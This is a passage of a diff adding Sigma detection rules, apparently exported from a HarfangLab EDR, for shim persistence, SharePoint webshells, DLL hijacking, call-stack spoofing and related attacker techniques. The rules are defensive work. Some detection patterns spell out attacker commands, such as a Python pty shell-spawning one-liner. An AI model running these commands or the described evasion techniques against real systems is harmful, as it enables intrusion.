exclusion_testxpert:\n        # Generic InstallShield\n        ParentImage: '?:\\Users\\\\*\\AppData\\Local\\Temp\\is-*\\setup.tmp'\n        ProcessParentProduct: 'testXpert III'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "de57a975-1542-4602-bd7b-633e461ec1a1",
+  "rule_name": "Sdbinst.exe Executed",
+  "rule_description": "Detects an execution of the legitimate windows binary sdbinst.exe, used to install a new shim database on the system.\nApplication shims are used by Microsoft to allow backward compatibility of applications on differing Windows version.\nThis feature is often used by attackers in order to establish persistence or to elevate privileges by executing malicious content triggered by application shims.\nIt is recommended to investigate the newly installed shim and to look for other suspicious activities by the parent processes.\n",
+  "rule_creation_date": "2021-08-27",
+  "rule_modified_date": "2025-04-04",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "de5faf6e-5ae5-4a39-919d-4118f7c7bc95",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086668Z",
+  "creation_date": "2026-03-23T11:45:34.086670Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086674Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://redcanary.com/blog/threat-detection/detecting-sharepoint-attacks-via-worker-process-activity/",
+    "https://attack.mitre.org/techniques/T1505/003/"
+  ],
+  "name": "t1505_003_webshell_sharepoint.yml",
+  "content": "title: Suspicious Process Spawned by Microsoft Sharepoint Web Server\nid: de5faf6e-5ae5-4a39-919d-4118f7c7bc95\ndescription: |\n    Detects a suspicious process being spawned by a Microsoft Sharepoint Web Server.\n    Attackers may abuse vulnerabilities present in MS Sharepoint to execute malicious code.\n    Is is recommended to analyze this process' command-line to determine its legitimacy in the context of the web application.\nreferences:\n    - https://redcanary.com/blog/threat-detection/detecting-sharepoint-attacks-via-worker-process-activity/\n    - https://attack.mitre.org/techniques/T1505/003/\ndate: 2025/02/18\nmodified: 2025/03/10\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.003\n    - attack.t1190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.RemoteShell\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ProcessParentCommandLine|contains: 'sharepoint'\n        ProcessParentName: 'w3wp.exe'\n\n    filter_w3wp:\n        ProcessImage: '?:\\Windows\\System32\\inetsrv\\w3wp.exe'\n\n    filter_wer:\n        ProcessImage:\n            - '?:\\Windows\\system32\\wermgr.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n\n    filter_dotnet_compiler:\n        ProcessImage:\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\\\*\\csc.exe'\n            - '?:\\Windows\\Microsoft.NET\\Framework64\\\\*\\vbc.exe'\n\n    filter_regiis:\n        ProcessImage: '?:\\Windows\\Microsoft.NET\\Framework64\\\\*\\aspnet_regiis.exe'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\'\n            - '?:\\Program Files\\'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "de5faf6e-5ae5-4a39-919d-4118f7c7bc95",
+  "rule_name": "Suspicious Process Spawned by Microsoft Sharepoint Web Server",
+  "rule_description": "Detects a suspicious process being spawned by a Microsoft Sharepoint Web Server.\nAttackers may abuse vulnerabilities present in MS Sharepoint to execute malicious code.\nIs is recommended to analyze this process' command-line to determine its legitimacy in the context of the web application.\n",
+  "rule_creation_date": "2025-02-18",
+  "rule_modified_date": "2025-03-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "deb633a1-236a-4d87-a05c-90300c190b66",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.070806Z",
+  "creation_date": "2026-03-23T11:45:34.070808Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.070812Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Tylous/ZipExec",
+    "https://attack.mitre.org/techniques/T1027/009/"
+  ],
+  "name": "t1027_009_suspicious_process_decompressing_encrypted_zip.yml",
+  "content": "title: Encrypted ZIP File Suspiciously Decompressed\nid: deb633a1-236a-4d87-a05c-90300c190b66\ndescription: |\n    Detects a suspicious process decompressing an encrypted ZIP file using cmdkey.\n    Attackers can use this technique to execute malicious payload and evade detection suing encryption.\n    This technique is used in the ZipExec tool that provides a simple way to craft these payloads.\n    It is recommended to investigate the content of the ZIP archive and the process that downloaded it.\nreferences:\n    - https://github.com/Tylous/ZipExec\n    - https://attack.mitre.org/techniques/T1027/009/\ndate: 2022/12/15\nmodified: 2025/01/27\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1027.009\n    - attack.execution\n    - attack.t1059\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        OriginalFileName: 'cmdkey.exe'\n        CommandLine|contains|all:\n            - 'Microsoft_Windows_Shell_ZipFolder'\n            - 'filename='\n            - '?pass:'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "deb633a1-236a-4d87-a05c-90300c190b66",
+  "rule_name": "Encrypted ZIP File Suspiciously Decompressed",
+  "rule_description": "Detects a suspicious process decompressing an encrypted ZIP file using cmdkey.\nAttackers can use this technique to execute malicious payload and evade detection suing encryption.\nThis technique is used in the ZipExec tool that provides a simple way to craft these payloads.\nIt is recommended to investigate the content of the ZIP archive and the process that downloaded it.\n",
+  "rule_creation_date": "2022-12-15",
+  "rule_modified_date": "2025-01-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1027.009",
+    "attack.t1059"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "defc0f54-4516-4f30-b2ee-0ac0e8d9ddde",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625508Z",
+  "creation_date": "2026-03-23T11:45:34.625510Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625515Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://scythe.io/threat-thursday/threat-thursday-evading-defenses-with-iso-files-like-nobelium",
+    "https://attack.mitre.org/techniques/T1204/",
+    "https://attack.mitre.org/techniques/T1218/011/"
+  ],
+  "name": "t1204_rundll32_from_mounted_drive.yml",
+  "content": "title: DLL in Mounted Drive Loaded via RunDLL32\nid: defc0f54-4516-4f30-b2ee-0ac0e8d9ddde\ndescription: |\n    Detects the loading of a DLL by RunDLL32 from a mounted drive.\n    It is often the result of a spearphishing attack via a removable media such as a compromised USB key or via an ISO or IMG file.\n    Attackers may abuse it to gain execution and to avoid detection.\n    It is recommended to check the executed binary for malicious behavior or content.\nreferences:\n    - https://scythe.io/threat-thursday/threat-thursday-evading-defenses-with-iso-files-like-nobelium\n    - https://attack.mitre.org/techniques/T1204/\n    - https://attack.mitre.org/techniques/T1218/011/\ndate: 2025/12/10\nmodified: 2025/12/19\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1204\n    - attack.defense_evasion\n    - attack.t1218.011\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.USB\n    - classification.Windows.Behavior.InitialAccess\n    - classification.Windows.Behavior.Phishing\nlogsource:\n    category: library_event\n    product: windows\ndetection:\n    selection:\n        ProcessOriginalFileName: 'RUNDLL32.EXE'\n        ImageLoadedDriveType:\n            - 'removable'\n            - 'disk_image'\n\n    filter_signed:\n        Signed: 'true'\n\n    exclusion_legit_libraries:\n        ImageLoaded|endswith:\n            - '\\RocketDock\\App\\RocketDock\\RocketDock.dll'\n            - '\\_cdres\\_exe\\Install Navigator\\E_UPWJ01.dll'\n            - '\\LIB\\TESTPRINT64.DLL'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "defc0f54-4516-4f30-b2ee-0ac0e8d9ddde",
+  "rule_name": "DLL in Mounted Drive Loaded via RunDLL32",
+  "rule_description": "Detects the loading of a DLL by RunDLL32 from a mounted drive.\nIt is often the result of a spearphishing attack via a removable media such as a compromised USB key or via an ISO or IMG file.\nAttackers may abuse it to gain execution and to avoid detection.\nIt is recommended to check the executed binary for malicious behavior or content.\n",
+  "rule_creation_date": "2025-12-10",
+  "rule_modified_date": "2025-12-19",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1204",
+    "attack.t1218.011"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "defd80da-a76f-493b-a3e0-92af72fd97bc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.618196Z",
+  "creation_date": "2026-03-23T11:45:34.618198Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.618203Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wiki.zacheller.dev/pentest/privilege-escalation/spawning-a-tty-shell",
+    "https://attack.mitre.org/techniques/T1059/006/"
+  ],
+  "name": "t1059_006_interactive_shell_python_macos.yml",
+  "content": "title: Interactive Shell Spawned via Python (macOS)\nid: defd80da-a76f-493b-a3e0-92af72fd97bc\ndescription: |\n    Detects a suspicious command line related to an interactive shell execution via Python.\n    Attackers sometimes obtain a simple reverse shell without having a TTY, which limits the interactions with the system.\n    To launch command lines like su or sudo, the attacker needs to obtain an interactive shell.\n    It is recommended to investigate the parent and children processes of the python process for any suspicious activities.\nreferences:\n    - https://wiki.zacheller.dev/pentest/privilege-escalation/spawning-a-tty-shell\n    - https://attack.mitre.org/techniques/T1059/006/\ndate: 2022/11/14\nmodified: 2025/01/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.006\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Script.Python\n    - classification.macOS.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    # python -c 'import pty; pty.spawn(\"/bin/sh\")'\n    selection_command:\n        CommandLine|contains|all:\n            - 'python'\n            - 'import pty'\n            - ';'\n            - '.spawn('\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "defd80da-a76f-493b-a3e0-92af72fd97bc",
+  "rule_name": "Interactive Shell Spawned via Python (macOS)",
+  "rule_description": "Detects a suspicious command line related to an interactive shell execution via Python.\nAttackers sometimes obtain a simple reverse shell without having a TTY, which limits the interactions with the system.\nTo launch command lines like su or sudo, the attacker needs to obtain an interactive shell.\nIt is recommended to investigate the parent and children processes of the python process for any suspicious activities.\n",
+  "rule_creation_date": "2022-11-14",
+  "rule_modified_date": "2025-01-20",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "df65ef88-956a-4cd6-aaaa-54467067c5ac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.616583Z",
+  "creation_date": "2026-03-23T11:45:34.616587Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.616594Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1055_process_callstack_spoofing_vulcan_raven.yml",
+  "content": "title: Spoofed Process Call Stack Related to VulcanRaven\nid: df65ef88-956a-4cd6-aaaa-54467067c5ac\ndescription: |\n    Detects arbitrary call stacks related to the VulcanRaven PoC.\n    VulcanRaven employs call stack spoofing techniques to evade detection by EDR solutions, it manipulates thread call stacks to appear as legitimate Windows system operations, making malicious activities blend in with normal system behavior.\n    Attackers may try to bypass EDR behavioral detection by forging call stacks that mimic trusted system processes and libraries, thereby evading stack-based heuristics and memory analysis.\n    It is recommended to investigate the source process, validate the legitimacy of the call chain, examine memory for inconsistencies, and correlate with other suspicious activities from the same process or parent process.\nreferences:\n    - https://labs.withsecure.com/publications/spoofing-call-stacks-to-confuse-edrs\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2025/08/25\nmodified: 2025/11/25\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1055.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.ProcessInjection\n    - classification.Windows.Behavior.MemoryExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_wmi_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'CorperfmonExt.dll'\n            - 'kernel32.dll'\n            - 'ntdll.dll'\n        StackTrace|contains:\n            - 'CorperfmonExt.dll+0xc669'\n            - 'CorperfmonExt.dll+0xc71b'\n            - 'CorperfmonExt.dll+0x2fde'\n\n    selection_sysmain_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'sysmain.dll'\n            - 'svchost.exe'\n            - 'sechost.dll'\n        StackTrace|contains:\n            - 'sysmain.dll+0x80e5f'\n            - 'sysmain.dll+0x60ce6'\n            - 'sysmain.dll+0x2a7d3'\n\n    selection_rpc_callstack:\n        MinimalStackTrace|contains|all:\n            - 'kernelbase.dll'\n            - 'lsm.dll'\n            - 'RPCRT4.dll'\n        StackTrace|contains:\n            - 'RPCRT4.dll+0x79633'\n            - 'RPCRT4.dll+0x13711'\n            - 'RPCRT4.dll+0xdd77b'\n            - 'lsm.dll+0xe959'\n\n    condition: 1 of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "df65ef88-956a-4cd6-aaaa-54467067c5ac",
+  "rule_name": "Spoofed Process Call Stack Related to VulcanRaven",
+  "rule_description": "Detects arbitrary call stacks related to the VulcanRaven PoC.\nVulcanRaven employs call stack spoofing techniques to evade detection by EDR solutions, it manipulates thread call stacks to appear as legitimate Windows system operations, making malicious activities blend in with normal system behavior.\nAttackers may try to bypass EDR behavioral detection by forging call stacks that mimic trusted system processes and libraries, thereby evading stack-based heuristics and memory analysis.\nIt is recommended to investigate the source process, validate the legitimacy of the call chain, examine memory for inconsistencies, and correlate with other suspicious activities from the same process or parent process.\n",
+  "rule_creation_date": "2025-08-25",
+  "rule_modified_date": "2025-11-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "df7adcea-e208-4cf1-b679-655e413d9d58",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.588551Z",
+  "creation_date": "2026-03-23T11:45:34.588554Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.588562Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bdehdcfg.yml",
+  "content": "title: DLL Hijacking via BdeHdCfg.exe\nid: df7adcea-e208-4cf1-b679-655e413d9d58\ndescription: |\n    Detects potential Windows DLL Hijacking via BdeHdCfg.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'BdeHdCfg.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbghelp.dll'\n            - '\\winbrand.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\cisco systems\\cisco jabber\\'\n            - '?:\\Program Files (x86)\\microsoft office\\root\\office*\\'\n            - '?:\\Program Files (x86)\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\140\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\arm64\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\arm64\\srcsrv\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\arm\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\arm\\srcsrv\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\x64\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\x64\\srcsrv\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\x86\\'\n            - '?:\\Program Files (x86)\\windows kits\\10\\debuggers\\x86\\srcsrv\\'\n            - '?:\\Program Files\\cisco systems\\cisco jabber\\'\n            - '?:\\Program Files\\microsoft office\\root\\office*\\'\n            - '?:\\Program Files\\microsoft office\\root\\vfs\\programfilesx86\\microsoft analysis services\\as oledb\\140\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\arm64\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\arm64\\srcsrv\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\arm\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\arm\\srcsrv\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\x64\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\x64\\srcsrv\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\x86\\'\n            - '?:\\Program Files\\windows kits\\10\\debuggers\\x86\\srcsrv\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "df7adcea-e208-4cf1-b679-655e413d9d58",
+  "rule_name": "DLL Hijacking via BdeHdCfg.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via BdeHdCfg.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e0209ce2-3915-47cb-8a9b-7705ee65e84b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072471Z",
+  "creation_date": "2026-03-23T11:45:34.072473Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072477Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#defaultaccount",
+    "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/",
+    "https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/",
+    "https://attack.mitre.org/techniques/T1078/001/"
+  ],
+  "name": "t1078_001_defaultaccount_authentication.yml",
+  "content": "title: DefaultAccount Account Authentication\nid: e0209ce2-3915-47cb-8a9b-7705ee65e84b\ndescription: |\n    Detects authentication of the DefaultAccount account, also known as the Default System Managed Account (DSMA).\n    This account is disabled by default and can be used by attackers to maintain access to victim system via a persistence.\n    It is recommended to investigate action made within the newly created session.\nreferences:\n    - https://learn.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts#defaultaccount\n    - https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/\n    - https://thedfirreport.com/2022/03/21/phosphorus-automates-initial-access-using-proxyshell/\n    - https://attack.mitre.org/techniques/T1078/001/\ndate: 2023/12/12\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.initial_access\n    - attack.t1078.001\n    - classification.Windows.Source.EventLog\n    - classification.Windows.Behavior.AccountManipulation\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    service: security\ndetection:\n    selection_eventid:\n        Source: 'Microsoft-Windows-Security-Auditing'\n        EventID: 4624\n        LogonType:\n            - '3'\n            - '10'\n\n    selection_account:\n        - TargetUserSid|endswith: '-503'\n        - SubjectUserSid|endswith: '-503'\n\n    condition: all of selection_*\nlevel: high\n# level: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e0209ce2-3915-47cb-8a9b-7705ee65e84b",
+  "rule_name": "DefaultAccount Account Authentication",
